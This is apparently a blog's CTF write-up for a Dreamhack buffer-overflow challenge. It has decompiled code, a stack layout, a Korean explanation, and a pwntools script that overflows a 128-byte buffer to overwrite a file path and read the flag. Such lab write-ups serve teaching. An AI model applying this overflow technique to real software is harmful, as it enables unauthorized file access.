int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbp
__int64 v5; // [rsp-98h] [rbp-98h]
signed int v6; // [rsp-18h] [rbp-18h]
signed __int16 v7; // [rsp-14h] [rbp-14h]
__int64 v8; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v8 = v3;
init();
v6 = 'ac/.';
v7 = 116;
sub_4010D0();
sub_401130("%144s", &v5);
read_cat((__int64)&v8, (__int64)&v6);
sub_4010D0();
return 0;
}
|v5(128) | v6(4)|v7(12)|v8(8)|SFP(8)|RET(8)|
scanf 시 v5(128) + v6(4) + v7(12)까지 overwrite 가능
scanf 시 144를 입력받으면 v6까지 덮을 수 있게 된다. 즉, buffer overflow를 이용해서 파일 경로를 수정할 수 있음.
따라서 128은 아무거나 채우고 v6 위치에 flag 경로를 주면 flag를 열 수 있다.
#!/usr/bin/python3
from pwn import *
#p = process("./bof")
p = remote("host3.dreamhack.games", 12883)
payload = b'A'*128 + b'/home/bof/flag'
p.sendlineafter(b'meow? ', payload)
p.interactive()
[Dreamhack] Return Address Overwrite (0) | 2024.03.01 |
---|---|
[Dreamhack] off_by_one_001 (0) | 2024.02.19 |
[Dreamhack] pwn-library (0) | 2024.01.10 |
[Dreamhack] shell-basic (2) | 2024.01.10 |
[Dreamhack] master_canary (0) | 2022.01.05 |